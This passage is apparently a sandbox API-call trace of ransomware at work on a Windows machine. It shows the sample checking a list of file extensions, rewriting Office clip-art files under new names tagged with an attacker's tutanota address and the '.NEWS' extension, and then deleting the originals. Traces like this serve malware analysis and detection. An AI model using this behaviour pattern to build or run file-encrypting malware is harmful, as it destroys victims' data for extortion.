[0091.559] SetEndOfFile (hFile=0x338) returned 1 [0091.560] CloseHandle (hObject=0x338) returned 1 [0091.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0091.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.561] lstrlenW (lpString=".doc") returned 4 [0091.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.561] lstrlenW (lpString=".docx") returned 5 [0091.561] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0091.561] lstrlenW (lpString=".pdf") returned 4 [0091.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.561] lstrlenW (lpString=".xls") returned 4 [0091.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.561] lstrlenW (lpString=".xlsx") returned 5 [0091.561] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0091.561] lstrlenW (lpString=".ppt") returned 4 [0091.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.561] lstrlenW (lpString=".zip") returned 4 [0091.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.561] lstrlenW (lpString=".rar") returned 4 [0091.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.561] lstrlenW (lpString=".bz2") returned 4 [0091.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.561] lstrlenW (lpString=".7z") returned 3 [0091.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.561] lstrlenW (lpString=".dbf") returned 4 [0091.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.561] lstrlenW (lpString=".1cd") returned 4 [0091.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.561] lstrlenW (lpString=".jpg") returned 4 [0091.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.562] lstrlenW (lpString=".doc") returned 4 [0091.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.562] lstrlenW (lpString=".docx") returned 5 [0091.562] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0091.562] lstrlenW (lpString=".pdf") returned 4 [0091.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.562] lstrlenW (lpString=".xls") returned 4 [0091.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.562] lstrlenW (lpString=".xlsx") returned 5 [0091.562] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0091.562] lstrlenW (lpString=".ppt") returned 4 [0091.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.562] lstrlenW (lpString=".zip") returned 4 [0091.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.562] lstrlenW (lpString=".rar") returned 4 [0091.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.562] lstrlenW (lpString=".bz2") returned 4 [0091.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.562] lstrlenW (lpString=".7z") returned 3 [0091.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.562] lstrlenW (lpString=".dbf") returned 4 [0091.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.562] lstrlenW (lpString=".1cd") returned 4 [0091.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0091.562] lstrlenW (lpString=".jpg") returned 4 [0091.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.563] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.563] lstrlenW (lpString="J0099177.WMF") returned 12 [0091.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.563] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5386) returned 1 [0091.563] CloseHandle (hObject=0x338) returned 1 [0091.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220 [0091.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.563] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.564] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.564] GetLastError () returned 0x0 [0091.564] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x150a, lpOverlapped=0x0) returned 1 [0091.565] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1510, lpOverlapped=0x0) returned 1 [0091.566] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.567] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.567] SetEndOfFile (hFile=0x384) returned 1 [0091.567] CloseHandle (hObject=0x384) returned 1 [0091.567] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.567] SetEndOfFile (hFile=0x338) returned 1 [0091.568] CloseHandle (hObject=0x338) returned 1 [0091.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0091.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.568] lstrlenW (lpString=".doc") returned 4 [0091.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.568] lstrlenW (lpString=".docx") returned 5 [0091.568] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0091.568] lstrlenW (lpString=".pdf") returned 4 [0091.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.568] lstrlenW (lpString=".xls") returned 4 [0091.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.568] lstrlenW (lpString=".xlsx") returned 5 [0091.569] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0091.569] lstrlenW (lpString=".ppt") returned 4 [0091.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.569] lstrlenW (lpString=".zip") returned 4 [0091.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.569] lstrlenW (lpString=".rar") returned 4 [0091.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.569] lstrlenW (lpString=".bz2") returned 4 [0091.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.569] lstrlenW (lpString=".7z") returned 3 [0091.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.569] lstrlenW (lpString=".dbf") returned 4 [0091.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.569] lstrlenW (lpString=".1cd") returned 4 [0091.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.569] lstrlenW (lpString=".jpg") returned 4 [0091.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.569] lstrlenW (lpString=".doc") returned 4 [0091.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.569] lstrlenW (lpString=".docx") returned 5 [0091.569] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0091.569] lstrlenW (lpString=".pdf") returned 4 [0091.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.569] lstrlenW (lpString=".xls") returned 4 [0091.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.569] lstrlenW (lpString=".xlsx") returned 5 [0091.569] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0091.569] lstrlenW (lpString=".ppt") returned 4 [0091.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.570] lstrlenW (lpString=".zip") returned 4 [0091.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.570] lstrlenW (lpString=".rar") returned 4 [0091.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.570] lstrlenW (lpString=".bz2") returned 4 [0091.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.570] lstrlenW (lpString=".7z") returned 3 [0091.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.570] lstrlenW (lpString=".dbf") returned 4 [0091.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.570] lstrlenW (lpString=".1cd") returned 4 [0091.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0091.570] lstrlenW (lpString=".jpg") returned 4 [0091.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.570] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.570] lstrlenW (lpString="J0099178.WMF") returned 12 [0091.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.571] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3606) returned 1 [0091.571] CloseHandle (hObject=0x338) returned 1 [0091.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220 [0091.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.571] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.571] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.571] GetLastError () returned 0x0 [0091.571] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xe16, lpOverlapped=0x0) returned 1 [0091.573] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe20, lpOverlapped=0x0) returned 1 [0091.574] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.575] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.575] SetEndOfFile (hFile=0x384) returned 1 [0091.575] CloseHandle (hObject=0x384) returned 1 [0091.575] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.575] SetEndOfFile (hFile=0x338) returned 1 [0091.576] CloseHandle (hObject=0x338) returned 1 [0091.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0091.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.576] lstrlenW (lpString=".doc") returned 4 [0091.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.576] lstrlenW (lpString=".docx") returned 5 [0091.576] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0091.576] lstrlenW (lpString=".pdf") returned 4 [0091.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.576] lstrlenW (lpString=".xls") returned 4 [0091.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.576] lstrlenW (lpString=".xlsx") returned 5 [0091.576] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0091.576] lstrlenW (lpString=".ppt") returned 4 [0091.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.577] lstrlenW (lpString=".zip") returned 4 [0091.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.577] lstrlenW (lpString=".rar") returned 4 [0091.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.577] lstrlenW (lpString=".bz2") returned 4 [0091.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.577] lstrlenW (lpString=".7z") returned 3 [0091.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.577] lstrlenW (lpString=".dbf") returned 4 [0091.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.577] lstrlenW (lpString=".1cd") returned 4 [0091.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.577] lstrlenW (lpString=".jpg") returned 4 [0091.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.577] lstrlenW (lpString=".doc") returned 4 [0091.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.577] lstrlenW (lpString=".docx") returned 5 [0091.577] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0091.577] lstrlenW (lpString=".pdf") returned 4 [0091.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.577] lstrlenW (lpString=".xls") returned 4 [0091.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.577] lstrlenW (lpString=".xlsx") returned 5 [0091.577] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0091.577] lstrlenW (lpString=".ppt") returned 4 [0091.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.577] lstrlenW (lpString=".zip") returned 4 [0091.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.577] lstrlenW (lpString=".rar") returned 4 [0091.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.578] lstrlenW (lpString=".bz2") returned 4 [0091.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.578] lstrlenW (lpString=".7z") returned 3 [0091.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.578] lstrlenW (lpString=".dbf") returned 4 [0091.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.578] lstrlenW (lpString=".1cd") returned 4 [0091.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0091.578] lstrlenW (lpString=".jpg") returned 4 [0091.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.578] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.578] lstrlenW (lpString="J0099179.WMF") returned 12 [0091.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.579] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=9154) returned 1 [0091.579] CloseHandle (hObject=0x338) returned 1 [0091.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220 [0091.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.579] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.579] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.580] GetLastError () returned 0x0 [0091.580] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x23c2, lpOverlapped=0x0) returned 1 [0091.581] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x23d0, lpOverlapped=0x0) returned 1 [0091.582] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.582] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.583] SetEndOfFile (hFile=0x384) returned 1 [0091.583] CloseHandle (hObject=0x384) returned 1 [0091.583] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.583] SetEndOfFile (hFile=0x338) returned 1 [0091.584] CloseHandle (hObject=0x338) returned 1 [0091.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft 